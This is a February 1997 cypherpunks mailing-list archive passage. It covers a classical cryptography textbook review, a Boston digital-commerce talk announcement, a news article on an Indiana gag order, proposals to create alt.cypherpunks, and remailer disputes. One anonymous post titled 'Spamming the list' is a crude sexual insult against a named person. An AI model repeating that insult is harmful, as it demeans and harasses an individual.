- 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute. From rah at shipwright.com Tue Feb 11 09:01:29 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 11 Feb 1997 09:01:29 -0800 (PST) Subject: DCSB: Online Government & Electronic Commerce - Legislation and Public Sector Initiatives Message-ID: <199702111701.JAA22458@toad.com> -----BEGIN PGP SIGNED MESSAGE----- The Digital Commerce Society of Boston Presents Daniel Greenwood, Esq. Deputy General Counsel Information Technology Division Commonwealth of Massachusetts "Online Government & Electronic Commerce - Legislation and Public Sector Initiatives" Tuesday, March 4, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Dan will give us an update on recent information age legislative and operational developments in the public sector. Special attention will be paid to: Electronic Signature and Record Legislation; Joint Government/Private Sector Attempts to Set Certification Authority Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated State-Federal-Foreign Electronic Commerce Policy Initiatives; and much, much more . . . Speaker: Daniel Greenwood, Esq. Information Technology Division, Deputy General Counsel Commonwealth of Massachusetts Office: http://www.state.ma.us/itd/legal home: http://www.tiac.net/biz/danielg Mr. Greenwood practices information technology law for the Commonwealth of Massachusetts. Recent relevant activities include: * Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act * Chairman of the Commonwealth of Mass. PKI Task Force * Chairman of the ABA Info. Security Comm., Legislative Sub-Committee * Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group * Contributing Author: ABA Digital Signature Guidelines * Negotiator of Contracts for Internet Security and Payment Systems * Board Member of SigNet.Org and Chair of Legal Special Interest Group * Director of the Virtual State House Project (MIT/Stanford Law School) * Faculty Member: MCLE Health Care & Info. Technology Program * Guest Lecturer for Suffolk Law School High Tech. Symposium * Selection Board Chairman for First Commonwealth of Mass. C/A Business This meeting of the Digital Commerce Society of Boston will be held on Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, One Federal Street. The price for lunch is $27.50. This price includes lunch, room rental, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men, and "appropriate business attire" for women. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, March 1, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston". If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Planned speakers for DCSB are: March Daniel Greenwood The Role of State Government in Digital Commerce April Stewart Baker Encryption Policy and Digital Commerce We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to . Looking forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwB+VvgyLN8bw6ZVAQEsRAQAiInZXDXlzdMn0B+b9A6zgWHH5POJku5v k9HIZK286Paw1KWKYsw8VyYjUoG4vq/LAh1CagWkwL4EN9Ysg7kbU+LP0W4u04vb /QoKk5rWpmXuplXx1Fp9IhIe2O6oV0vTInJqPV3zkXk4qGzYUrQ0bqLbQn769iMO 7pwwVbkioSc= =m5Pz -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From declan at well.com Tue Feb 11 09:03:13 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 11 Feb 1997 09:03:13 -0800 (PST) Subject: Indiana judge extends gag order to the Net, from TNNN Message-ID: <199702111703.JAA22485@toad.com> ---------- Forwarded message ---------- Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: Indiana judge extends gag order to the Net, from TNNN The Netly News Network http://netlynews.com/ Gag On This by Declan McCullagh (declan at well.com) February 10, 1997 The point of moving a trial or selecting a jury from a distant county is, of course, to prevent jurors from being influenced by the local media and opinions of the nearby community. But what if the media are global and the community is virtual? That enigma is causing problems for an Indiana couple on trial for reckless homicide in the November 1995 death of their son from meningitis. Bill and Sarah Planck had hoped to demonstrate their innocence through the Net, and so another son created a web site with documents from a counter-lawsuit filed against the county welfare agencies and sheriff's department, detailing how police threatened and intimidated the family. Now the judge presiding over their criminal trial has ordered the Plancks to pull the plug on the site. Madison County judge Fredrick Spencer told me he extended an existing gag order to the Internet because the tort claim notice could influence jurors. "We went two counties away to get the jury. But people in Randolph County have computers and America Online. So to avoid any possible problem, I ordered them to take it off," Spencer said. Spencer says the order was necessary to preserve the integrity of the trial. "It's only the trial that I'm concerned with," he said. "If I don't do what I can, I risk having to do [the trial] over again." Yet as soon as the Plancks yanked the documents offline on January 27, copies sprouted on the web site of a supporter -- beyond the reach of Judge Spencer. Who's right, Spencer or the Plancks? I posed that question to David Post, a professor at Georgetown Law School. "Gag orders may in a way be a thing of the past," he replied. "It becomes an enforcement dilemma with respect to the Internet. It's a hell of a lot easier to enforce that gag order [locally]. You really only have to keep your eye on a very small number of dissemination vehicles," Post said. "Gag orders are violated on occasion, but by and large you have some confidence that they'll be respected. Obviously you can't anymore." Gag orders stem from the right to an impartial jury. "We think that sometimes -- rarely, but sometimes -- that can best be accomplished by controlling the kind of information potential jurors might see. The Net deforms the landscape," Post said. Katharine Liell, the Plancks' attorney, was reluctant to discuss the case for fear of violating the gag order -- which covers her as well. "I'm uncertain what I can and can't say due to the vagueness of the gag order," she said. "Gag orders are supposed to be specific in nature, but I don't understand the nature or breadth of this gag order so I'm not comfortable commenting at this time." The legal question at issue in this prosecution is whether the Plancks are guilty of four felony charges, including reckless homicide and involuntary manslaughter, in the death of Lance Planck from pneumococcal meningitis. The verdict may depend on the answer to one question: Did the Plancks wait too long to call 911? More than the couple, however, is on trial. The case also reveals how a child protection agency can be used as a weapon to threaten parents and divide a family. The mirrored documents tell a sad story of a poor family who lived in a trailer park and home-schooled their eight children, and their long-standing battle with Madison County social workers. The first salvo came in 1992, when a social worker visited the Planck home to investigate the children's alleged vision problems. Based on that visit, a judge ordered that their eyes be examined. A month later, police invaded the Planck home and forcibly removed the children. The tort notice describes other encouters, including tear gas canisters lobbed into their home and warrantless arrests. "I've known the Plancks for a long time," said Brent Tobin, an electrical engineer who mirrored the web site. "I've lived in the town all my life. I know there's nothing going on there. The deputy prosecutor made them out to be religious weirdos, but they're not." "I put up the web site since I don't feel that the county government should have jurisdiction over the World Wide Web. I think there should be freedom of speech. I feel gag orders are a violation of rights," Tobin said. For his part, Judge Spencer emphasized that his gag order "expires at the end of the case. Free speech is an important right and I'm going to be the last person to have a problem with it." What about the mirror site? Has his order accomplished anything? "The Planck supporters are going to put it on there," Spencer replied. "If you're suggesting that I'm tilting at windmills, perhaps you're right." ### From jya at pipeline.com Tue Feb 11 09:06:32 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 09:06:32 -0800 (PST) Subject: STE_pup Message-ID: <199702111706.JAA22519@toad.com> 2-10-97: "Euro's creation raises money laundering fears" OECD task force report(*) identifies perils of a single currency and suggests Russian crime groups are linking up with the Mafia and Colombian drug cartels for laundering the new currency. Warns of other e-cash hazards. "Visa to Test Cards For Possible Use On the Internet" E-cash cards to be manufactured by Schlumberger and will use "virtually unbreakable" public-key cryptography. "Computer Security Becomes Biometric With Print Matching" Oracle's new fingerprint checking device to assure bona fide log-on privileges. Covers other such devices, quotes a maker: "if criminals or hackers get through these, industry will step up one more level." ----- STE_pup * A search is on for the report. Leads welcomed. The task force met last week in Paris. From alan at ctrl-alt-del.com Tue Feb 11 09:06:40 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Tue, 11 Feb 1997 09:06:40 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702111706.JAA22531@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote: >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > SANDY SANDFORT > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > >C'punks, > >You have probably just read John's post. I truly hope YOU (each >and every one of you) can rise to his challenge. If you have >offered nothing in the past but criticism, it's now time to get a >bit more real. What will it be, your money, time, equipment? What kind of memory requirements/machine load does the list eat up? I have a machine that may fit this purpose... (Need to know if I need to upgrade the box though.) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ== =CWO1 -----END PGP SIGNATURE----- --- | "Mi Tio es infermo, pero la carretera es verde!" | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From tcmay at got.net Tue Feb 11 09:06:45 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 11 Feb 1997 09:06:45 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: (Please leave my name in any replies to ensure I see your comments.) I talked to Hugh Daniel at the Saturday meeting about the creation of an "alt.cypherpunks" unmoderated (of course) newsgroup as a possible alternative (or supplement) to cypherpunks at toad.com. Greg Broiles and John Gilmore were there for part of the discussion, too. (We did not, unfortunately, get to the "future of the list" topic at the physical meeting...the excellent presentations ran way over the expected time and we never got to this topic. Sort of too bad, given John's edict that we have 10 days to find and implement an alternative....) A Usenet newsgroup has many advantages and disadvantages. Whether it might be gatewayed to other mailing lists--perhaps even the list(s) which survives "cypherpunks at toad.com"--depends of course on the decision of those hosting others lists. A charter statement is needed, and then the issuance of a creation message. A better charter statement will increase the chances of more sites carrying the newsgroup. While many sites carry essentially all newsgroups--more than 30,000--, some sites do not and only carry some of the alt.heirarchy. And some sites do not carry _any_ of the alt newsgroups. At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement. Suggestions for additional language or changes are welcome. Charter for alt.cypherpunks: (suggested) "Alt.cypherpunks is for the unmoderated discussion of cryptography and the political, social, and economic implications of unrestricted, strong cryptography. The Cypherpunks grpup has existed since 1992 and has been central in the debate about strong crypto, government restrictions, crypto anarchy, and in showing weaknesses of various ciphers and security products. The mailing list has had as many as 1500 subscribers, plus gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks" will be a free-wheeling forum for many viewpoints. As it is unmoderated, readers are strongly advised to learn how to use filters and other tools for making virtual anarchies manageable for their own tastes." I invite your comments, editorial suggestions, etc. Perhaps when enough of the "collective mind" has made inputs (ughh!), the charter can be submitted with the creation message. (I'm not knowledgeable about the process, but I'll bet many of you are.) There are of course disadvantages to such a newsgroup, as any Usenet user certainly knows. However, there are advantages as well. Here are some of each: * Advantages: - Usenet is set up to automagically propagate articles across tens of thousands of sites. - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.) for halting distribution of Usenet newsgroups. (Canada stopped some Homulka-Teale newsgroups a few years ago, other countries have blocked entire sections, but note that the Scientologists have been unable to block "alt.religion.scientology"...I surmise that a mailing list version of a.r.s. would have faced lawsuits against the list.owner, if reachable in U.S. or European courts...a lesson to think about with the current imbroglio over certain claims about certain products and the possible liability of Sandy and/or toad.com.) - fairly sophisticated newsreading software already exists. - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers to discover the group, read it for a while, then stop. It also, of course, increases the number of "What is crypto?" sorts of messages.) - persons cannot be unsubscribed from an unmoderated list - with a Usenet group, there is no ability to impose notions of "order" on the list (e.g., requirements for PGP-signing, demands for "on-topic" posts, removal of "illegal" posts, etc.). Thus, people must deal with a virtual anarchy by using proper tools, by ignoring what they don't want to see, or by contracting out the role of "nanny" to others. * Disadvantages - Usenet newsgroups are easy targets for spammers, even more so than are mailing lists. - crossposting often gets out of hand. (With 30,000+ newsgroups, even well-intentioned posters often pick the "three or four most likely" targets for their posts). - propagation is often spotty, and some sites have no access at all to the "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many academic sites block just the alt.binaries.pictures heirarchy. Etc. A news to mailing list gateway is possible for these readers.) - propagation may be slower than mailing lists. - Usenet is of course archived and easily searchable via Alta Vista, Deja News, etc.. This bothers some people. (However, the CP mailing list is now also archived and searchable, so the disadvantage is becoming moot.) - persons cannot be unsubscribed from an unmoderated list (this is also an advantage, of course) - there will be more newbie-type messages, as casual browsers of Usenet discover alt.cypherpunks and ask questions. This is both a disadvantage and an advantage. * Discussion of some of these points: 1. The issue of slow- or non-propagation can be handled by having mailing lists which bounce the traffic (from a well-connected site) to folks who get slow distribution, or no distribution at all. News to mail gateways, in other words. Traffic in the reverse direction (end reader back to alt.cypherpunks) can be handled either by "blind posting" to the a.c. newsgroup, via one's newsreader, or through mail-to-news gateways, or perhaps via the distributor described here. 2. And the services of "moderators," such as Eric Blossom's and Ray Arachelian's "best of" lists, or even Sandy's list, are of course still possible. A newsgroup does not change this, except for the latency in getting messages out to newsgroup sites. 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The Usenet carries huge advantages in terms of having no place to attack it. 4. Some have raised the point that Usenet is "inefficient" and should not be used for this reason. Well, it may indeed be ineficient, but the costs have already been incurred, and alt.cypherpunks would only be 1/30,000th of additional load (very roughly speaking). In other words, might as well use what's out there. If a "second Usenet" ever comes into existence, fine. 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At that time, we thought the mailing list had some major advantages. In my view, the situation has changed dramatically since then. The mailing list has become huge, the volume of noise has increased, majordomo is allowing the list to be used for spamming (any 'bot system will probably have this), and the list is already gatewayed to many sites as a _newsgroup_ anyway. So, I think the time has come to just create it. The "activation energy barrier" of a mailing list, where people would have to make the effort to subscribe, has long since become irrelevant. It may be a target for spammers, but it's hard to imagine it being much worse than what we have now. Usenet is an anarchy. We might as well use it. I've never created an alt group, but I presume many of you have (and I know of one currently fed up Cypherpunk who created the entire alt.* hierarchy a decade or so ago). I presume some of you can thus help in such an effort. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jya at pipeline.com Tue Feb 11 09:12:54 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 09:12:54 -0800 (PST) Subject: STE_pup Message-ID: <199702111712.JAA22612@toad.com> 2-10-97: "Euro's creation raises money laundering fears" OECD task force report(*) identifies perils of a single currency and suggests Russian crime groups are linking up with the Mafia and Colombian drug cartels for laundering the new currency. Warns of other e-cash hazards. "Visa to Test Cards For Possible Use On the Internet" E-cash cards to be manufactured by Schlumberger and will use "virtually unbreakable" public-key cryptography. "Computer Security Becomes Biometric With Print Matching" Oracle's new fingerprint checking device to assure bona fide log-on privileges. Covers other such devices, quotes a maker: "if criminals or hackers get through these, industry will step up one more level." ----- STE_pup * A search is on for the report. Leads welcomed. The task force met last week in Paris. From stend at sten.tivoli.com Tue Feb 11 09:13:23 1997 From: stend at sten.tivoli.com (Firebeard) Date: Tue, 11 Feb 1997 09:13:23 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702111713.JAA22632@toad.com> >>>>> John Gilmore writes: JG> Sandy has agreed to continue moderation through the end of the JG> original 1-month experiment (through Feb 19). And it's a good JG> thing, too, because the "cypherpunks community" had better get off JG> its whining butt in the next ten days, or it will no longer exist. [...] JG> This is a "put up or shut up" to the cypherpunks community. This appears to be as good a time as any to announce that I'm "putting up". I've already taken steps, along with Jim Choate, to start a network of majordomos hosting a Cypherpunks mailing list. I didn't intend to announce this until Jim and I had gotten the first pair of 'domos working properly, but this means that we'll need to speed things up. Our intention is to have a set of majordomos which are intersubscribed to a cypherpunks list on each one, with measures taken to ensure that mail loops don't develop. As the resulting mailing list from each 'domo will be identical, periodically (initially weekly), the subscriber lists of all of the participating majordomos will be compared, with any duplicate subscribers being removed from the 'domo(s) with the longest subscriber list. There will be no filtering done of any mail to the collective list, although anyone interested in providing a filtered list will be welcome to subscribe to the list. Anyone interested in joining the 'domo network with the conditions described (duplicate subscriber checking and no filtering) is welcome. John, I'd appreciate your permission to use your Cypherpunks welcome message as the basis for the welcome message of this new list. Also, while we will make every effort to have this new list available for subscriptions by Feb 20, I'd appreciate it if you could consider making the current list available for a short period longer if we encounter unanticipated difficulties. -- #include /* Sten Drescher */ ObCDABait: For she doted upon their paramours, whose flesh is as the flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] ObFelony: President Clinton, you suck, and those boys died! Unsolicited bulk email will be stored and handled for a US$500/KB fee. From Kevin.L.Prigge-2 at tc.umn.edu Tue Feb 11 09:21:12 1997 From: Kevin.L.Prigge-2 at tc.umn.edu (Kevin L Prigge) Date: Tue, 11 Feb 1997 09:21:12 -0800 (PST) Subject: Digital Signature Legislation (MN) Message-ID: <199702111721.JAA22727@toad.com> Minnesota Legislature has a bill pending in both houses regarding digital signatures, defines certification authorities, and provides for licensing of authorities. http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=H0056.0&session=ls80 http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=S0173.0&session=ls80 A quick read looks good, although I am not a lawyer. This only affects digital signatures used in financial transactions, AFAIK, and does not prohibit non-licensed cert authorities. -- Kevin L. Prigge | Some mornings, it's just not worth Systems Software Programmer | chewing through the leather straps. Internet Enterprise - OIT | - Emo Phillips University of Minnesota | From tcmay at got.net Tue Feb 11 09:21:48 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 11 Feb 1997 09:21:48 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702111721.JAA22739@toad.com> (Please leave my name in any replies to ensure I see your comments.) I talked to Hugh Daniel at the Saturday meeting about the creation of an "alt.cypherpunks" unmoderated (of course) newsgroup as a possible alternative (or supplement) to cypherpunks at toad.com. Greg Broiles and John Gilmore were there for part of the discussion, too. (We did not, unfortunately, get to the "future of the list" topic at the physical meeting...the excellent presentations ran way over the expected time and we never got to this topic. Sort of too bad, given John's edict that we have 10 days to find and implement an alternative....) A Usenet newsgroup has many advantages and disadvantages. Whether it might be gatewayed to other mailing lists--perhaps even the list(s) which survives "cypherpunks at toad.com"--depends of course on the decision of those hosting others lists. A charter statement is needed, and then the issuance of a creation message. A better charter statement will increase the chances of more sites carrying the newsgroup. While many sites carry essentially all newsgroups--more than 30,000--, some sites do not and only carry some of the alt.heirarchy. And some sites do not carry _any_ of the alt newsgroups. At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement. Suggestions for additional language or changes are welcome. Charter for alt.cypherpunks: (suggested) "Alt.cypherpunks is for the unmoderated discussion of cryptography and the political, social, and economic implications of unrestricted, strong cryptography. The Cypherpunks grpup has existed since 1992 and has been central in the debate about strong crypto, government restrictions, crypto anarchy, and in showing weaknesses of various ciphers and security products. The mailing list has had as many as 1500 subscribers, plus gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks" will be a free-wheeling forum for many viewpoints. As it is unmoderated, readers are strongly advised to learn how to use filters and other tools for making virtual anarchies manageable for their own tastes." I invite your comments, editorial suggestions, etc. Perhaps when enough of the "collective mind" has made inputs (ughh!), the charter can be submitted with the creation message. (I'm not knowledgeable about the process, but I'll bet many of you are.) There are of course disadvantages to such a newsgroup, as any Usenet user certainly knows. However, there are advantages as well. Here are some of each: * Advantages: - Usenet is set up to automagically propagate articles across tens of thousands of sites. - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.) for halting distribution of Usenet newsgroups. (Canada stopped some Homulka-Teale newsgroups a few years ago, other countries have blocked entire sections, but note that the Scientologists have been unable to block "alt.religion.scientology"...I surmise that a mailing list version of a.r.s. would have faced lawsuits against the list.owner, if reachable in U.S. or European courts...a lesson to think about with the current imbroglio over certain claims about certain products and the possible liability of Sandy and/or toad.com.) - fairly sophisticated newsreading software already exists. - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers to discover the group, read it for a while, then stop. It also, of course, increases the number of "What is crypto?" sorts of messages.) - persons cannot be unsubscribed from an unmoderated list - with a Usenet group, there is no ability to impose notions of "order" on the list (e.g., requirements for PGP-signing, demands for "on-topic" posts, removal of "illegal" posts, etc.). Thus, people must deal with a virtual anarchy by using proper tools, by ignoring what they don't want to see, or by contracting out the role of "nanny" to others. * Disadvantages - Usenet newsgroups are easy targets for spammers, even more so than are mailing lists. - crossposting often gets out of hand. (With 30,000+ newsgroups, even well-intentioned posters often pick the "three or four most likely" targets for their posts). - propagation is often spotty, and some sites have no access at all to the "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many academic sites block just the alt.binaries.pictures heirarchy. Etc. A news to mailing list gateway is possible for these readers.) - propagation may be slower than mailing lists. - Usenet is of course archived and easily searchable via Alta Vista, Deja News, etc.. This bothers some people. (However, the CP mailing list is now also archived and searchable, so the disadvantage is becoming moot.) - persons cannot be unsubscribed from an unmoderated list (this is also an advantage, of course) - there will be more newbie-type messages, as casual browsers of Usenet discover alt.cypherpunks and ask questions. This is both a disadvantage and an advantage. * Discussion of some of these points: 1. The issue of slow- or non-propagation can be handled by having mailing lists which bounce the traffic (from a well-connected site) to folks who get slow distribution, or no distribution at all. News to mail gateways, in other words. Traffic in the reverse direction (end reader back to alt.cypherpunks) can be handled either by "blind posting" to the a.c. newsgroup, via one's newsreader, or through mail-to-news gateways, or perhaps via the distributor described here. 2. And the services of "moderators," such as Eric Blossom's and Ray Arachelian's "best of" lists, or even Sandy's list, are of course still possible. A newsgroup does not change this, except for the latency in getting messages out to newsgroup sites. 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The Usenet carries huge advantages in terms of having no place to attack it. 4. Some have raised the point that Usenet is "inefficient" and should not be used for this reason. Well, it may indeed be ineficient, but the costs have already been incurred, and alt.cypherpunks would only be 1/30,000th of additional load (very roughly speaking). In other words, might as well use what's out there. If a "second Usenet" ever comes into existence, fine. 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At that time, we thought the mailing list had some major advantages. In my view, the situation has changed dramatically since then. The mailing list has become huge, the volume of noise has increased, majordomo is allowing the list to be used for spamming (any 'bot system will probably have this), and the list is already gatewayed to many sites as a _newsgroup_ anyway. So, I think the time has come to just create it. The "activation energy barrier" of a mailing list, where people would have to make the effort to subscribe, has long since become irrelevant. It may be a target for spammers, but it's hard to imagine it being much worse than what we have now. Usenet is an anarchy. We might as well use it. I've never created an alt group, but I presume many of you have (and I know of one currently fed up Cypherpunk who created the entire alt.* hierarchy a decade or so ago). I presume some of you can thus help in such an effort. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at huge.cajones.com Tue Feb 11 09:46:20 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 11 Feb 1997 09:46:20 -0800 (PST) Subject: Spamming the list Message-ID: <199702111742.JAA23513@mailmasher.com> When Derogatory Virus K]ankersore[OfTheMoment's mother gave birth to him after fucking with a bunch of sailors, she didn't know who the father was but decided to tell him that he was a Russian as the Russian sailor was the one who satisfied her the most. o/ Derogatory Virus K]ankersore[OfTheMoment <| / > From shamrock at netcom.com Tue Feb 11 10:02:50 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 11 Feb 1997 10:02:50 -0800 (PST) Subject: Suggestion for the future of the list Message-ID: <3.0.32.19970211100117.006eea18@192.100.81.136> o Make the list a newsgroup "alt.cypherpunks". This will alleviate any concerns about one party taking control of the list. Good filters exist and the newsgroup can be read via Deja News, etc. o For those using remailers or those unable to post to newsgroups, create a mail-to-news gateway at cypherpunks at toad.com. OK, how will take the fist step and newsgroup alt.cypherpunks? -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From nobody at wazoo.com Tue Feb 11 10:26:54 1997 From: nobody at wazoo.com (Anonymous) Date: Tue, 11 Feb 1997 10:26:54 -0800 (PST) Subject: Pending Attack on Mailmasher and Pseudonymous Posting Message-ID: <199702111824.LAA20739@earth.wazoo.com> One of the denizens from alt.flame (wotan at databasix.com / wotan at netcom.com) is on a personal crusade to get the Mailmasher pseudonym server shut down, claiming that it was "abused" by accepting "forgeries". As you'll recall, the pretext of "abuse" was conveniently used my the CoS to get several remailers shut down. Let's not let the enemies of privacy win this one! Here's how William McClatchey, aka "Wotan", concluded his post: > Well, I was nice and polite when the forgeries began. I sent toxic a > nice message asking that he disable the abitlity to forge wotan at databasix > and wotan at netcom. That appears to be too hard for him. He gets his > access from mci. > > I encourage anyone who is being forged due to the deliberate negligence > on toxic's part to write hotwired and MCI asking that mailmasher be shut > down 